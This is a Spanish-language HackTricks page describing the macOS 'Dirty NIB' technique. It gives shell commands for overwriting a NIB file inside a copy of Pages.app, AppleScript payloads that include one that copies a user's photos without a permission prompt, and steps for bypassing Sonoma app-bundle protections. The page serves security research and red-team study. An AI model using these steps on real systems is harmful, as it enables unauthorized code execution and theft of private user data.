Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-01 00:49:40 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md

8.6 KiB
Raw Blame History

macOS Dirty NIB

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Esta técnica fue tomada del post https://blog.xpnsec.com/dirtynib/

Información Básica

Los archivos NIB se utilizan en el ecosistema de desarrollo de Apple para definir elementos de la interfaz de usuario (UI) y sus interacciones dentro de una aplicación. Creados con la herramienta Interface Builder, contienen objetos serializados como ventanas, botones y campos de texto, que se cargan en tiempo de ejecución para presentar la UI diseñada. Aunque todavía se utilizan, Apple ha pasado a recomendar Storyboards para una representación más visual del flujo de UI de una aplicación.

{% hint style="danger" %} Además, los archivos NIB también pueden usarse para ejecutar comandos arbitrarios y si se modifica un archivo NIB en una App, Gatekeeper aún permitirá ejecutar la app, por lo que pueden usarse para ejecutar comandos arbitrarios dentro de aplicaciones. {% endhint %}

Inyección Dirty NIB

Primero necesitamos crear un nuevo archivo NIB, usaremos XCode para la mayor parte de la construcción. Comenzamos agregando un Objeto a la interfaz y establecemos la clase en NSAppleScript:

Para el objeto necesitamos establecer la propiedad inicial source, lo que podemos hacer usando Atributos de Tiempo de Ejecución Definidos por el Usuario:

Esto configura nuestro gadget de ejecución de código, que simplemente va a ejecutar AppleScript a petición. Para activar realmente la ejecución del AppleScript, por ahora solo agregaremos un botón (por supuesto, puedes ser creativo con esto ;). El botón se vinculará al objeto Apple Script que acabamos de crear, e invocará el selector executeAndReturnError::

Para las pruebas, simplemente usaremos el Apple Script de:

set theDialogText to "PWND"
display dialog theDialogText

Y si ejecutamos esto en el depurador de XCode y presionamos el botón:

Con nuestra capacidad para ejecutar código AppleScript arbitrario desde un NIB, a continuación necesitamos un objetivo. Elijamos Pages para nuestra demostración inicial, que por supuesto es una aplicación de Apple y ciertamente no debería ser modificable por nosotros.

Primero haremos una copia de la aplicación en /tmp/:

cp -a -X /Applications/Pages.app /tmp/

Luego lanzaremos la aplicación para evitar cualquier problema con Gatekeeper y permitir que las cosas se almacenen en caché:

open -W -g -j /Applications/Pages.app

Después de lanzar (y matar) la aplicación por primera vez, necesitaremos sobrescribir un archivo NIB existente con nuestro archivo DirtyNIB. Para fines de demostración, vamos a sobrescribir el NIB del Panel de Acerca de para poder controlar la ejecución:

cp /tmp/Dirty.nib /tmp/Pages.app/Contents/Resources/Base.lproj/TMAAboutPanel.nib

Una vez que hayamos sobrescrito el nib, podemos desencadenar la ejecución seleccionando el elemento del menú About:

Si observamos Pages más de cerca, vemos que tiene un privilegio privado que permite el acceso a las Fotos de un usuario:

Así que podemos poner a prueba nuestro POC modificando nuestro AppleScript para robar fotos del usuario sin solicitar permiso:

{% code overflow="wrap" %}

use framework "Cocoa"
use framework "Foundation"

set grabbed to current application's NSData's dataWithContentsOfFile:"/Users/xpn/Pictures/Photos Library.photoslibrary/originals/6/68CD9A98-E591-4D39-B038-E1B3F982C902.gif"

grabbed's writeToFile:"/Users/xpn/Library/Containers/com.apple.iWork.Pages/Data/wtf.gif" atomically:1

{% endcode %}

{% hint style="danger" %} Ejemplo de archivo .xib malicioso que ejecuta código arbitrario. {% endhint %}

Crea tu propio DirtyNIB

Restricciones de Lanzamiento

Básicamente impiden ejecutar aplicaciones fuera de sus ubicaciones esperadas, así que si copias una aplicación protegida por Restricciones de Lanzamiento a /tmp no podrás ejecutarla.
Encuentra más información en este post.

Sin embargo, al analizar el archivo /System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4 aún puedes encontrar aplicaciones que no están protegidas por Restricciones de Lanzamiento por lo que aún podrías inyectar archivos NIB en ubicaciones arbitrarias en esas (consulta el enlace anterior para aprender cómo encontrar estas aplicaciones).

Protecciones Extra

Desde macOS Somona, hay algunas protecciones que impiden escribir dentro de las Apps. Sin embargo, aún es posible eludir esta protección si, antes de ejecutar tu copia del binario, cambias el nombre de la carpeta Contents:

  1. Toma una copia de CarPlay Simulator.app a /tmp/
  2. Renombra /tmp/Carplay Simulator.app/Contents a /tmp/CarPlay Simulator.app/NotCon
  3. Lanza el binario /tmp/CarPlay Simulator.app/NotCon/MacOS/CarPlay Simulator para cachear dentro de Gatekeeper
  4. Sobrescribe NotCon/Resources/Base.lproj/MainMenu.nib con nuestro archivo Dirty.nib
  5. Renombra a /tmp/CarPlay Simulator.app/Contents
  6. Lanza CarPlay Simulator.app de nuevo

{% hint style="success" %} Parece que esto ya no es posible porque macOS impide modificar archivos dentro de los paquetes de aplicaciones.
Por lo tanto, después de ejecutar la app para cachearla con Gatekeeper, no podrás modificar el paquete.
Y si cambias, por ejemplo, el nombre del directorio Contents a NotCon (como se indica en el exploit), y luego ejecutas el binario principal de la app para cachearlo con Gatekeeper, se activará un error y no se ejecutará. {% endhint %}

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: